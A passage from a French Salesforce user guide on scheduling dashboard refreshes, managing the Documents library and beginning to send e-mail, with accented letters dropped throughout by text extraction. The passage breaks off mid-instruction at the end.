Les commandes Custom s-controls peuvent contenir tous les types de contenu affichables
ou excutables dans un navigateur, par exemple une applet Java, un contrle ActiveX, un
fichier Excel ou un formulaire Web HTML personnalis.
Avertissement: Les commandes S-control ont t remplaces par les pages
Visualforce. compter de janvier 2010, salesforce.com va supprimer la possibilit
de crer et de distribuer de nouvelles commandes S-control. Les commandes
S-control existantes ne seront pas affectes.

Voir aussi :
Ajout de composants de tableaux de bord
Cration d'un rapport personnalis
Utilisation de graphiques de combinaison

Tableaux de bord

Guide de l'utilisateur | Actualisation des donnes du tableau de bord | 1371

Actualisation des donnes du tableau de bord

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour actualiser des donnes du tableau de bord :

Excution des rapports

AND
Autorisation d'afficher les dossiers de tableaux de bord

Les donnes dans chaque tableau de bord sont aussi rcurrentes que la date et l'heure affiches dans le champ partir
de... dans le coin suprieur droit du tableau de bord.
Cliquez sur Actualiser pour remplir votre tableau de bord avec les donnes les plus rcentes. Lorsque les donnes du tableau
de bord sont actualises, un champ Actualisation du tableau de bord s'affiche dans le coin suprieur droit du tableau
de bord. Vous pouvez laisser le tableau de bord et excuter d'autres fonctions dans Salesforce.com pendant l'actualisation des
donnes. Si votre tableau de bord ne s'actualise pas au bout de dix minutes, l'actualisation s'interrompt automatiquement. Si
ncessaire, cliquez de nouveau sur Actualiser.
Lorsque vous actualisez un tableau de bord, les donnes sont actualises pour toute autre personne de votre entreprise ayant
accs ce tableau de bord. Des actualisations supplmentaires soumises pendant une actualisation et jusqu' une minute aprs
la fin d'une actualisation sont ignores ; les utilisateurs peuvent consulter les donnes actuelles les plus rcentes.
Remarque: Les utilisateurs des versions Enterprise Edition et Unlimited Edition peuvent planifier les actualisations
du tableau de bord.

Planification de l'actualisation d'un tableau de bord

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour planifier et envoyer une actualisation de tableau de bord Tableaux de bord de planification
par e-mail :
Pour supprimer la planification de l'actualisation d'un tableau Modifier toutes les donnes
de bord :

Vous pouvez planifier un tableau de bord pour qu'il soit actualis quotidiennement, hebdomadairement ou mensuellement
afin que vous puissiez travailler dans Salesforce.com sans avoir attendre que les donnes les plus rcentes soient actualises.
De plus, aprs une actualisation, vous pouvez vous envoyer une notification par e-mail ainsi qu' d'autres utilisateurs laquelle
inclue le tableau de bord au format HTML. Dans des applications d'e-mail qui ne grent pas le HTML, la notification affiche

Tableaux de bord

Guide de l'utilisateur | Planification de l'actualisation d'un tableau de bord | 1372

un texte qui comprend un lien vers le tableau de bord dans Salesforce.com. Les utilisateurs peuvent afficher le tableau de bord
aprs s'tre connects.
Pour planifier une actualisation du tableau de bord :
1. Dans l'onglet Tableaux de bord, slectionnez un tableau de bord dans la liste droulante Afficher le tableau de
bord.
2. Cliquez sur Actualiser et choisissez Planifier l'actualisation... dans la liste droulante.
L'utilisateur du champ Utilisateur actif dtermine le niveau d'accs aux donnes du tableau de bord. Ceci contourne
tous les paramtres de scurit, en donnant accs des donnes qu'ils ne pourraient pas visualiser autrement tous les
utilisateurs pouvant visualiser le tableau de bord.
Remarque: Si l'utilisateur actuel spcifi est actif, un e-mail de notification est envoy tous les utilisateurs ayant
le profil Administrateur systme, ainsi qu' tous les utilisateurs disposant des trois autorisations suivantes : Grer
les utilisateur, Grer la facturation et Modifier toutes les donnes.
Les composants de tableau de bord qui utilisent Visualforce ignorent l'Utilisateur actuel ; le contenu s'affiche
uniquement si l'utilisateur a accs la page Visualforce. Les autres composants du tableau de bord ne sont pas affects.
3. Slectionnez un paramtre de notification pour envoyer un e-mail la fin de l'actualisation du tableau de bord :

Cliquez sur moi pour envoyer un e-mail qui inclut le tableau de bord actualis l'adresse e-mail spcifie dans votre
enregistrement utilisateur Salesforce.com.
Cliquez sur Aux autres... pour envoyer un e-mail qui inclut le tableau de bord actualis des utilisateurs
supplmentaires. Vous ne pouvez envoyer de notifications d'actualisation de tableau de bord qu' des adresses e-mail
incluses dans les enregistrements utilisateurs Salesforce.com.
Remarque: Les utilisateurs du Portail reoivent des notifications d'actualisation des rapports et des tableaux
de bord uniquement si l'option Autoriser l'envoi des rapports et des tableaux de bord
aux utilisateurs du portail est active.

4. Planifiez l'actualisation du tableau de bord :

Dans le champ Frquence, slectionnez la frquence laquelle le tableau de bord est actualis. Si vous cliquez sur les
champs Tous les jours, Chaque semaine, ou Chaque mois, davantage d'options s'affichent pour vous permettre
d'affiner les critres de frquence.
Dans les champs Dmarrage et Fin, spcifiez les dates pendant lesquelles vous souhaitez que le tableau soit actualis.
Dans la liste droulante Heure de dmarrage dsire, cliquez sur le lien Rechercher les options disponibles...
pour choisir une heure de dmarrage souhaite pour l'actualisation du tableau de bord.
L'heure que vous souhaitez peut ne pas tre disponible si d'autres utilisateurs l'ont dj slectionne pour actualiser un
tableau de bord.

5. Cliquez sur Enregistrer pour planifier l'actualisation du tableau de bord.

Pour supprimer une actualisation planifie d'un tableau de bord :
1. Slectionnez le tableau de bord qui possde une planification d'actualisation que vous souhaitez supprimer de la liste
droulante Afficher le tableau de bord dans l'onglet Tableau de bord.
2. Cliquez sur Actualiser et choisissez Planifier l'actualisation... dans la liste droulante.
3. Cliquez sur Annuler la planification du tableau de bord.

Tableaux de bord

Guide de l'utilisateur | Planification de l'actualisation d'un tableau de bord | 1373

La planification d'actualisation est supprime dfinitivement et n'est pas envoye vers la corbeille. La suppression de
l'actualisation planifie n'affecte pas le tableau de bord.
Remarque: Les utilisateurs disposant de l'autorisation Afficher la configuration peuvent afficher tous les tableaux
de bord planifis pour l'actualisation pour votre organisation sur la page Toutes les tches prvues. Pour afficher la
page Toutes les tches prvues, cliquez sur Configuration Surveillance Tches prvues. Les utilisateurs disposant
de l'autorisation Modifier toutes les donnes peuvent cliquer sur Suppr en regard d'un tableau de bord planifi
spcifique afin de supprimer dfinitivement toutes les instances d'actualisation planifies.
Conseils concernant la planification de l'actualisation d'un tableau de bord
Tenez compte des points suivants lors de la planification de l'actualisation d'un tableau de bord :

Votre entreprise est limite 200 actualisations planifies de tableau de bord. Les utilisateurs de Unlimited Edition peuvent
planifier jusqu' deux actualisations de tableau de bord par heure chaque jour, alors que les utilisateurs de Enterprise Edition
peuvent planifier jusqu' une actualisation de tableau de bord par heure chaque jour.
Les tableaux de bord sont actualiss dans le fuseau horaire de l'utilisateur qui planifie l'actualisation. Par exemple, si le
champ Fuseau horaire de votre enregistrement utilisateur est dfini sur Europe Centrale et que vous planifiiez une
actualisation de tableau de bord quotidienne 14h00, le tableau de bord est actualis tous les jours entre 14h00 et 14h29,
heure CET.
Si vous affichez et enregistrez une planification dans un fuseau horaire diffrent de celui dans lequel elle a t planifie, la
plage horaire peut changer. Par exemple, si un utilisateur planifie un rapport dans un fuseau horaire dont le dcalage ne
correspond pas une heure complte, puis un deuxime utilisateur affiche et enregistre la planification dans un fuseau
horaire dont le dcalage correspond une heure complte, la plage horaire peut tre arrondie l'heure la plus proche.
Si vous planifiez une actualisation de tableau de bord un jour spcifique de chaque mois, le tableau de bord ne sera actualis
que les mois comprenant ce jour. Par exemple, si vous planifiez une actualisation de tableau de bord le 31 de chaque mois,
le tableau de bord ne sera actualis que les mois comprenant 31 jours. Si vous souhaitez qu'un tableau soit actualis le
dernier jour de chaque mois, choisissez dernier dans la liste droulante Jour de chaque mois.
L'actualisation du tableau de bord s'effectue dans les 30 minutes qui suivent l'heure slectionne dans la liste droulante
Heure de dmarrage dsire. Par exemple, si vous slectionnez 14h00 comme heure de dmarrage dsire, le tableau
de bord peut tre actualis n'importe quel moment entre 14h00 et 14h29, en fonction du nombre de tableaux de bord
dont l'actualisation est planifie cette heure.
Les tableaux de bord ne sont pas actualiss comme prvu si l'utilisateur dans le champ Utilisateur actuel n'a pas
accs au dossier dans lequel le tableau de bord est stock.

Conseils concernant les notifications d'actualisation de tableau de bord

Tenez compte des points suivants lors de la notification de l'actualisation d'un tableau de bord :

Les notifications d'actualisation de tableau de bord peuvent ne pas s'afficher correctement sous MS Outlook 2007.
Pour des notifications d'actualisation de tableau de bord formates en HTML, les utilisateurs peuvent cliquer sur le tableau
de bord pour se connecter Salesforce.com et consulter directement le tableau de bord.
Pour envoyer une notification d'actualisation de tableau de bord directement d'autres utilisateurs, le tableau de bord doit
se trouver dans un dossier public avec un accs autoris d'autres personnes. Cela parce que les autres utilisateurs ne peuvent
pas accder des tableaux de bord se trouvant dans vos dossiers personnel. Pour ajouter un tableau de bord dans un dossier
public, reportez-vous Modification des proprits de tableaux de bord.
Les utilisateurs peuvent cliquer sur n'importe quel composant de tableau de bord dans une notification d'actualisation de
tableau de bord pour afficher le rapport que reprsente le composant du tableau de bord. Pour consulter le rapport reprsent
par un composant tableau de bord de mesure ou de table, l'utilisateur doit cliquer sur le nom de la premire colonne de
l'tiquette de la table ou de la mesure. Remarque : les utilisateurs doivent se connecter Salesforce.com pour consulter le
rapport que reprsente le composant du tableau de bord.

Tableaux de bord

Guide de l'utilisateur | Impression de tableaux de bord | 1374

Des composants de tableau de bord qui incluent des pages Visualforce et des commandes s-control peuvent ne pas s'afficher
dans les notifications d'actualisation de tableau de bord. Les utilisateurs doivent se connecter Salesforce.com pour voir
les donnes Visualforce et de commandes s-control affiches en temps rel.
Une fois que les utilisateurs ont reu des notifications d'actualisation de tableau de bord dans leurs clients d'e-mail, ils
peuvent consulter les notifications lorsque les clients d'e-mail ne sont pas connects Internet.
Par dfaut, Salesforce.com envoie les images dans les e-mails de tableau de bord sous la forme de fichiers .png (Portable
Network Graphic), qui ne sont pas pris en charge par Lotus Notes. Lorsque l'option Utiliser des images
compatibles avec Lotus Notes dans les e-mails de tableau de bord est active, Salesforce.com utilise
des images .jpg, que Lotus Notes prend en charge, lors de l'envoi d'e-mails de tableau de bord. L'autorisation Planifier
le tableau de bord est requise pour afficher cette option.
Remarque: Les e-mails de tableau de bord comportant des images compatibles avec Lotus Notes sont beaucoup
plus volumineux et la qualit des images peut tre infrieure.

Voir aussi :
Actualisation des donnes du tableau de bord
Cration et modification de proprits de tableaux de bord
Personnalisation des paramtres d'e-mail des rapports et tableaux de bord
Gestion des dossiers

Impression de tableaux de bord

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour imprimer les tableaux de bord :

Excution des rapports

AND
Autorisation d'afficher les dossiers de tableaux de bord

Imprimez les tableaux de bord grce l'option d'impression de votre navigateur. Paramtrez l'orientation du papier pour
imprimer dans le format paysage afin qu'il soit assez large pour les trois colonnes des composants du tableau de bord. Vous
devrez peut tre redimensionner les colonnes et supprimer les en-ttes et les pieds de page imposs par votre navigateur.
Remarque: Il est possible que certains tableaux de bord ne s'impriment pas comme prvu cause de problmes
inhrents au navigateur.

Tableaux de bord

Guide de l'utilisateur | Suppression de tableaux de bord | 1375

Suppression de tableaux de bord

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour supprimer des tableaux de bord :

Grer les tableaux de bord

La suppression d'un tableau de bord supprime tous les composants qu'il contient. Elle ne supprime pas les rapports personnaliss
utiliss par les composants de tableau de bord. Les tableaux de bord supprims sont dplacs vers la Corbeille.
Pour supprimer un tableau de bord :
1.
2.
3.
4.

Cliquez sur l'onglet Tableaux de bord.

Cliquez sur le lien Aller la liste du tableau de bord.
Affichez le dossier dans lequel le tableau de bord est stock.
Cliquez sur Suppr en regard du nom du tableau de bord.

Pour supprimer un composant de tableau de bord :

1. Slectionnez le tableau de bord.
2. Cliquez sur Supprimer au-dessus du composant de tableau de bord que vous souhaitez supprimer.
Remarque: Les composants de tableau de bord supprims ne passent pas par la Corbeille.

Voir aussi :
Corbeille

Documents
Prsentation de la bibliothque de documents
Disponible avec : Toutes les ditions

Une bibliothque de documents est un emplacement dans lequel sont stocks des fichiers sans les joindre des comptes, des
contacts, des opportunits ou d'autres enregistrements. Chaque document de la bibliothque de documents rside dans un
dossier. Les attributs du dossier en dterminent l'accessibilit et celle des documents qu'il contient.
Affichage de l'onglet Documents
L'onglet Documents est automatiquement affich pour tous les utilisateurs ayant des profils standard et n'ayant pas personnalis
leurs onglets auparavant. Si votre onglet Documents n'est pas visible, vous pouvez personnaliser votre affichage en consquence.
Pour plus d'informations, reportez-vous Personnalisation de votre affichage la page 30.
Remarque: L'onglet Documents ne fait pas partie de Salesforce CRM Content.

Voir aussi :
Page d'accueil des documents
Surveillance des ressources
Prsentation de Salesforce CRM Content

Page d'accueil des documents

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher l'onglet Documents :

Autorisation de lecture sur les documents

Pour afficher des documents :

Autorisation de lecture sur les documents

Pour tlcharger de nouveaux documents :

Autorisation de cration sur les documents

Cliquer sur l'onglet Documents affiche la page d'accueil des documents.

Remarque: Si l'onglet Documents n'est pas visible, vous pouvez personnaliser votre affichage en consquence. Pour
plus d'informations, reportez-vous Personnalisation de votre affichage la page 30.

Sous Rechercher un document, tapez les mots-cls permettant de trouver le document.

Dans la section Dossiers des documents, slectionnez un dossier pour afficher tous les documents qu'il contient.

Documents

Guide de l'utilisateur | Affichage de listes de documents | 1377

La section Documents rcents affiche les dix ou vingt-cinq derniers documents affichs, avec les documents consults le
plus rcemment affichs en premier. Cette liste provient des lments rcents et contient les enregistrements dont vous
tes responsable et ceux des autres utilisateurs. Cliquez alternativement sur les liens Afficher 25 lments et Afficher
10 lments pour changer le nombre d'lments affichs.
Dans la section Documents rcents, cliquez sur Nouveau pour tlcharger un nouveau document.
Remarque: L'onglet Documents ne fait pas partie de Salesforce CRM Content.

Voir aussi :
Prsentation de la bibliothque de documents
Affichage de listes de documents
Affichage et modification des proprits du document
Tlchargement amont et remplacement de documents
Modification des auteurs de documents
Recherche de documents
Gestion des dossiers

Affichage de listes de documents

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher des documents :

Autorisation de lecture sur les documents

Pour modifier des proprits des documents :

Autorisation de modification sur les documents

Pour remplacer des documents :

Autorisation de modification sur les documents

Pour supprimer des documents :

Autorisation de suppression sur les documents

La page de liste Documents dresse la liste des documents d'un dossier slectionn. partir de cette page, vous pouvez afficher
des informations dtailles sur le document ou le manipuler.

Cliquez sur le nom du document pour en afficher les dtails. Pour plus d'informations sur les dtails des documents,
reportez-vous Affichage et modification des proprits du document la page 1378.
Cliquez sur Modifier en regard d'un document pour afficher les proprits du fichier de document. Pour plus d'informations,
reportez-vous Affichage et modification des proprits du document la page 1378.
Cliquez sur Suppr pour supprimer le document de la bibliothque de documents. Tous les documents supprims sont
placs dans la corbeille.
Cliquez sur Afficher pour ouvrir le fichier dans son application associe. Si un type de fichier n'est pas reconnu ou que
l'application n'est pas charge sur l'ordinateur, Salesforce.com affiche une bote de dialogue standard vous invitant
slectionner une option d'enregistrement.
Choisissez un dossier pour afficher la liste des documents stocks dans ce dossier.

Documents

Guide de l'utilisateur | Affichage et modification des proprits du document | 1378

Cliquez sur un en-tte de colonne pour trier les documents par ordre croissant en fonction des informations de cette colonne.
Cliquez de nouveau sur l'en-tte de colonne pour trier les documents par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de documents suivant ou prcdent.
Au bas de la liste des documents, slectionnez moins ou plus pour afficher une liste plus courte ou plus longue.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Remarque: Si vous ne trouvez pas un document, il se peut que vous n'ayez pas accs au dossier qui le contient. Pour
plus d'informations sur les dossiers, reportez-vous Gestion des dossiers la page 573.

Affichage et modification des proprits du document

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher des documents :

Autorisation de lecture sur les documents

Pour mettre jour des proprits :

Autorisation de modification sur les documents

Pour remplacer des documents :

Autorisation de modification sur les documents

Pour dplacer des documents :

Autorisation de modification sur les documents

Pour supprimer des documents :

Autorisation de suppression sur les documents

Affichage des documents - Aprs avoir repr un document sur la page d'accueil ou dans les pages de liste des documents,
cliquez sur le nom du document pour afficher des informations dtailles.
Modification des documents - Pour mettre jour les proprits des documents, cliquez sur Modifier, puis modifiez les
proprits mettre jour. Lorsque vous avez termin, cliquez sur Enregistrer.
Balisage des documents : si les balises ont t actives, cliquez sur Ajouter des balises ou Modifier les balises dans la zone
Balises situe au-dessous de la barre de titre en couleur pour marquer l'enregistrement actuel. Si l'enregistrement a dj t
balis, cliquez sur un noms de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Suppression de documents - Pour supprimer un document, cliquez sur Supprimer.
Mise jour des documents - Pour remplacer un document par une version jour, cliquez sur Remplacer le document. Pour
obtenir des instructions sur le remplacement de documents, reportez-vous Tlchargement amont et remplacement de
documents la page 1379.
Envoi de document par e-mail - Pour expdier un document un contact par e-mail, cliquez sur Envoyer le document par
e-mail, spcifiez les informations relatives l'e-mail et cliquez sur Envoyer. Le document est envoy sous forme de pice
jointe l'e-mail et consign dans l'historique des activits pour ce contact. Les documents se rfrant des URL et non des
fichiers physiques ne peuvent pas tre transmis par e-mail. Si le document est une image intgre dans un modle d'e-mail
HTML, comme un logo d'en-tte, assurez-vous que le document est marqu comme Accessible en externe dans l'onglet
Documents, afin qu'un utilisateur sans nom d'utilisateur ni mot de passe Salesforce.com puisse afficher l'image lorsqu'il la
reoit dans un e-mail.

Documents

Guide de l'utilisateur | Tlchargement amont et remplacement de documents | 1379

Recherche d'un document - pour rechercher un document, saisissez les termes de la recherche, puis cliquez sur Rechercher
le document. Une liste de documents correspondants vos critres s'affiche. Vous pouvez rechercher des termes dans les
champs suivants :

Nom du document
Mots-cls
Description

Si Contenu du document pouvant tre recherch est activ, le contenu d'un document peut galement tre recherch.
Affichage du contenu du dossier - Pour afficher tous les documents d'un dossier, cliquez sur son nom.
Dplacement des documents - Pour stocker un document dans un autre dossier, cliquez sur Modifier, choisissez un nouveau
dossier et cliquez sur Enregistrer.
Pour revenir la dernire page affiche, cliquez sur Retour la liste en haut de toute page de dtails de documents.

Voir aussi :
Tlchargement amont et remplacement de documents
Recherche de documents

Tlchargement amont et remplacement de documents

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour tlcharger de nouveaux documents :

Autorisation de cration sur les documents

Pour remplacer des documents :

Autorisation de modification sur les documents

Tlchargement d'un nouveau document

Pour tlcharger un document :
1. Cliquez sur Nouveau document dans l'onglet Documents ou sur Nouveau en regard de Documents rcents dans la page
d'accueil des documents. Si l'option Nouveau document n'existe pas, assurez-vous de disposer des autorisations requises.
2. Spcifiez un Nom de document descriptif. Si vous voulez utiliser le nom du fichier, laissez ce champ vide. Le nom du
fichier apparat automatiquement lors du tlchargement du fichier.
3. Si vous disposez de l'autorisation Personnaliser l'application, entrez un Nom unique. Le nom unique permet de rfrencer
le composant lors de l'utilisation de l'API Force.com. Dans des packages grs, ce nom vite les conflits de nom dans les
installations de package. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre
unique dans votre organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait
de soulignement et ne doit pas contenir deux traits de soulignement conscutifs. Le champ Nom unique permet un
dveloppeur de modifier les noms ou les titres de certains composants dans un package gr et d'appliquer les modifications
dans l'organisation d'un abonn.
4. Vous pouvez activer :

Documents

5.
6.
7.
8.

Guide de l'utilisateur | Tlchargement amont et remplacement de documents | 1380

Usage interne uniquement si le document est confidentiel. Cocher cette case ne modifie pas la visibilit du fichier

mais constitue un indicateur pour les autres utilisateurs.

Accessible en externe si le document est une image non confidentielle, comme un logo dans un en-tte, et que
vous souhaitez qu'il soit disponible partir de modles d'e-mails HTML, sans exiger ni nom d'utilisateur ni mot de
passe Salesforce.com. Cochez galement cette case si le document est une image utilise comme icne d'onglet
personnalis ou comme logo de sous-application personnalise, dont la consultation exige un nom d'utilisateur et un
mot de passe Salesforce.com.

Slectionnez un dossier pour le document.

Entrez une description utiliser ultrieurement en tant que critre de recherche.
Entrez des mots cls utiliser ultrieurement en tant que critre de recherche.
Slectionnez une option de document ou de chemin.

Pour tlcharger un document, cliquez sur Parcourir, slectionnez le fichier, puis cliquez sur En cours.
Pour stocker un lien vers le document, indiquez l'emplacement du document. Entrez un chemin et un nom de fichier
ou une URL, par exemple : C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc ou
http://www.salesforce.com.

9. Cliquez sur Enregistrer le document.

Remplacement d'un document
Pour remplacer un document par une version mise jour :
1. Affichez le document que vous voulez remplacer. Pour obtenir des instructions relatives la localisation d'un document
dans la bibliothque, reportez-vous Recherche de documents la page 1383.
2. Cliquez sur Remplacer le document.
3. Slectionnez une option de document ou de chemin.

Pour tlcharger un remplacement, cliquez sur Parcourir, slectionnez le fichier, puis cliquez sur Ouvrir.
Pour stocker un lien vers le remplacement, indiquez son emplacement. Entrez un chemin et un nom de fichier ou une
URL, par exemple : C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc ou
http://www.salesforce.com.

4. Cliquez sur Remplacer le document.

Conseils de tlchargement ou de remplacement de documents

Les documents stocks en tant que liens ne peuvent pas tre joints aux messages. Ils permettent nanmoins d'conomiser
l'espace de votre bibliothque de documents.
Si la recherche de contenus de document est active, Salesforce.com effectue une recherche de texte complet du document.
Lorsqu'un nouveau document est tlcharg ou un ancien document est remplac, son contenu est disponible pour la
recherche. Pour plus d'informations, reportez-vous Recherche de documents.
Salesforce.com enregistre la date du tlchargement le plus rcent comme date de modification.
Vous pouvez tlcharger en amont des documents ayant des noms de fichier jusqu' 255 caractres, extension comprise.
La taille maximale d'un document tlcharg est de 5 Mo. La taille maximale d'un logo de sous-application personnalise
est de 20 Ko.
L'espace de stockage de fichiers utilis par votre organisation inclut tous les fichiers stocks dans la bibliothque de
documents.

Documents

Guide de l'utilisateur | Proprits du document | 1381

Si le paramtre de scurit Refuser les pices jointes et les documents HTML est activ pour votre entreprise,
vous ne pourrez pas tlcharger des fichiers dots des extensions suivantes : htm, html, htt, htx, mhtm, mhtml, shtm, shtml,
acgi.

Voir aussi :
Recherche de documents
Surveillance des ressources

Proprits du document
Disponible avec : Toutes les ditions

Vous trouverez ci-dessous la description, par ordre alphabtique, des proprits conserves pour chaque document de la
bibliothque.
Champ

Description

Auteur

Principal point de contact d'un document. Au dpart, la

personne qui tlcharge le document est son auteur. Par la
suite, l'auteur peut tre n'importe quel utilisateur slectionn.

Cr par

Nom de la premire personne avoir tlcharg le fichier.

Modifi par

Nom de la dernire personne avoir tlcharg le fichier.

Dossier

Nom du dossier contenant le document.

Contenu du document pouvant tre recherch

Une case cocher indique si le contenu d'un document peut

tre recherch via le bouton Rechercher le document de
l'onglet Documents. Cette case est automatiquement dfinie
par Salesforce.com.

Nom du document

Nom du document, y compris son extension.

Nom unique du document

Nom unique utilis pour faire rfrence au document lors de

l'utilisation de l'API Force.com. Dans des packages grs, ce
nom vite les conflits de nom dans les installations de package.
Ce nom ne peut contenir que des caractres de soulignement
et alphanumriques, et il doit tre unique dans votre
organisation. Il doit commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et
ne doit pas contenir deux traits de soulignement conscutifs.
Grce ce champ, un dveloppeur peut modifier les noms ou
les titres de certains composants dans un package gr et les
modifications sont appliques dans l'entreprise d'un abonn.

Description

Instruction qui distingue ce document des autres.

Documents

Guide de l'utilisateur | Proprits du document | 1382

Champ

Description

Usage interne uniquement

Case cocher qui indique si le document est confidentiel. Les

cases cocher Usage interne uniquement et Image
accessible en externe ne sont pas compatibles. Vous
ne pouvez pas les cocher simultanment.

Image accessible en externe

Case indiquant si le document est une image disponible pour

les modles d'e-mails HTML, par exemple un logo dans un
en-tte, et ne ncessitant pas de nom d'utilisateur ni de mot
de passe Salesforce.com pour afficher un e-mail.
Cette case indique si le document est une image utilise comme
icne d'onglet personnalis ou comme logo de sous-application
personnalise, dont la consultation exige un nom d'utilisateur
et un mot de passe Salesforce.com.
Les cases cocher Usage interne uniquement et Image
accessible en externe ne sont pas compatibles. Vous
ne pouvez pas les cocher simultanment.

Mots-cls

Champ de texte ouvert contenant un ou plusieurs mots

dcrivant le document. Lorsqu'il effectue une recherche, le
programme recherche les correspondances avec les entres de
ce champ.

Chemin

Stock la place du nom du document si vous prfrez crer

un lien vers le document plutt que de le tlcharger.

Taille

Taille du document en octets.

Type

Le type de fichier est dtermin par l'extension. Par exemple,

nomdefichier.ppt est reconnu comme un fichier PowerPoint.
Si le paramtre de scurit Refuser les pices jointes
et les documents HTML est activ pour votre entreprise,
vous ne pourrez pas tlcharger des fichiers dots des
extensions suivantes : htm, html, htt, htx, mhtm, mhtml, shtm,
shtml, acgi.

Voir aussi :
Affichage et modification des proprits du document
Affichage de listes de documents

Documents

Guide de l'utilisateur | Modification des auteurs de documents | 1383

Modification des auteurs de documents

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier des documents :

Autorisation de modification sur les documents

Les documents tant stocks dans des dossiers contrlant l'accs des utilisateurs, ils ne possdent pas de responsables comme
les autres types d'enregistrement. Toutefois, ils possdent des auteurs. L'auteur est le premier utilisateur avoir tlcharg le
fichier du document.
Pour changer l'auteur d'un document :
1. Affichez le document que vous voulez modifier.
2. Cliquez sur Modifier en regard du champ Auteur.
Le lien Modifier affiche uniquement la page de dtails et non la page de modification. Si le lien Modifier n'est pas affich,
il se peut que vous ne possdiez pas les autorisations pour modifier l'auteur d'un document.
3. Saisissez un nouveau nom d'auteur. Vous pouvez galement cliquer sur l'icne de recherche pour faire votre choix dans la
liste d'utilisateurs.
4. Cochez la case Envoyer une notification par e-mail si vous souhaitez alerter le nouvel auteur de cette
modification.
Remarque: Lorsque vous modifiez l'auteur d'un document, Salesforce.com ne modifie pas sa visibilit.

Voir aussi :
Gestion des dossiers

Recherche de documents
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher des documents :

Autorisation de lecture sur les documents

Pour rechercher des documents spcifiques, utilisez le bouton Rechercher le document sur la page d'accueil des documents.
1. Cliquez sur l'onglet Documents.
2. Saisissez les termes rechercher. Salesforce.com recherche les champs suivants :

Documents

Guide de l'utilisateur | Recherche de documents | 1384

Nom du document
Mots-cls
Description

3. Cliquez sur Rechercher le document.

La recherche renvoie une liste des documents qui correspondent tous les termes de votre recherche. Les rsultats de la
recherche sont classs selon leur degr de correspondance. Les champs Mots cls et Nom du document sont utiliss
pour dterminer les correspondances les plus proches. Les champs que vous voyez sont prdfinis et ne peuvent tre modifis.
Conseil: Pour rechercher des squences de termes exactes, placez les expressions entre guillemets. Par exemple,
la recherche des termes mes logos renvoie les documents dont les champs ou le contenu incluent cette expression
exacte, ainsi que mes et logos. Sans guillemets, la recherche renvoie tout document dont les champs ou le contenu
incluent au moins l'un des termes de l'expression. Par exemple, mes logos renvoie les documents dont les champs
ou le contenu incluent mes et/ou logos.
4. Slectionnez un document pour accder directement sa page de dtails ou cliquez sur Afficher pour ouvrir le document
dans une nouvelle fentre.
Si la recherche de contenus de document est active, Salesforce.com effectue une recherche de texte complet du document.
Lorsqu'un nouveau document est tlcharg ou un ancien document est remplac, son contenu est disponible pour la recherche.
Pour activer la recherche de contenu de documents :
1. Cliquez sur Configuration Personnalisation Recherche Paramtres de recherche.
2. Slectionnez Activer la recherche de contenus de document.
Remarque: Salesforce.com dtermine automatiquement si le contenu d'un document peut tre recherch. Une proprit
Contenu du document pouvant tre recherch coche dans un document indique que son contenu a t
trait avec succs et peut faire l'objet d'une recherche. Si votre document est volumineux, plusieurs minutes peuvent
s'couler avant que Salesforce.com recherche son contenu et active la proprit Contenu du document pouvant
tre recherch.
Les types de fichier suivants sont pris en charge pour une recherche dans le contenu de document.
Remarque: Le contenu des documents qui dpassent les tailles maximales n'est pas recherch. Nanmoins, les champs
des documents sont recherchs. Seul le premier million de caractres de texte est recherch. Au-del de cette limite,
le texte est exclus de la recherche.
Type de fichier

Extensions de fichier

HTML (uniquement le texte d'une balise

.htm
<body>)

Taille maximale
5 120 Ko

.html
.xhtml

PDF
PPT

.pdf
.pot
.pps
.ppt

25 600 Ko
25 600 Ko

Documents

Guide de l'utilisateur | Recherche de documents | 1385

Type de fichier

Extensions de fichier

Taille maximale

RTF

.rtf

5 120 Ko

Texte

.c

5 120 Ko

.cpp
.css
.csv
.ini
.java
.log
.sql
.txt

Word

.doc

25 600 Ko

.dot

XLS

.xls

5 120 Ko ou une limite maximale de

100 000 cellules

.xlt

XML

.xml

5 120 Ko

Le texte n'est pas recherch dans les cas suivants :

Si une extension de fichier est modifie vers un format diffrent, mme si les deux extensions sont valides. Par exemple,
un fichier .txt renomm en .rtf n'est pas recherch.
Les documents PDF et Word peuvent inclure des restrictions de scurit qui interdisent toute recherche. Pour s'assurer
qu'un document peut tre recherch, la proprit extraction de contenu de votre fichier doit tre dfinie Activ sa
cration.

Voir aussi :
Prsentation de la recherche
Tlchargement amont et remplacement de documents
Champs de recherche
Utilisation de caractres gnriques et d'oprateurs dans les recherches

E-mail
Envoi d'e-mails
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour envoyer des e-mails :

Envoyer un e-mail

Pour crer une adresse l'chelle de l'organisation :

Modifier toutes les donnes

Pour envoyer un e-mail un contact, une piste, un compte personnel ou un autre utilisateur :
1. Cliquez sur Envoyer un e-mail dans la liste associe l'historique des activits d'un enregistrement. partir d'une requte,
cliquez sur Envoyer un e-mail ou Rpondre dans la liste associe E-mail. Cette option est disponible uniquement pour
les organisations qui utilisent E-mail vers requte ou E-mail vers requte la demande.
2. Si vous le souhaitez, vous pouvez spcifier l'adresse d'acheminement de l'e-mail dans la liste droulante De pour les e-mails
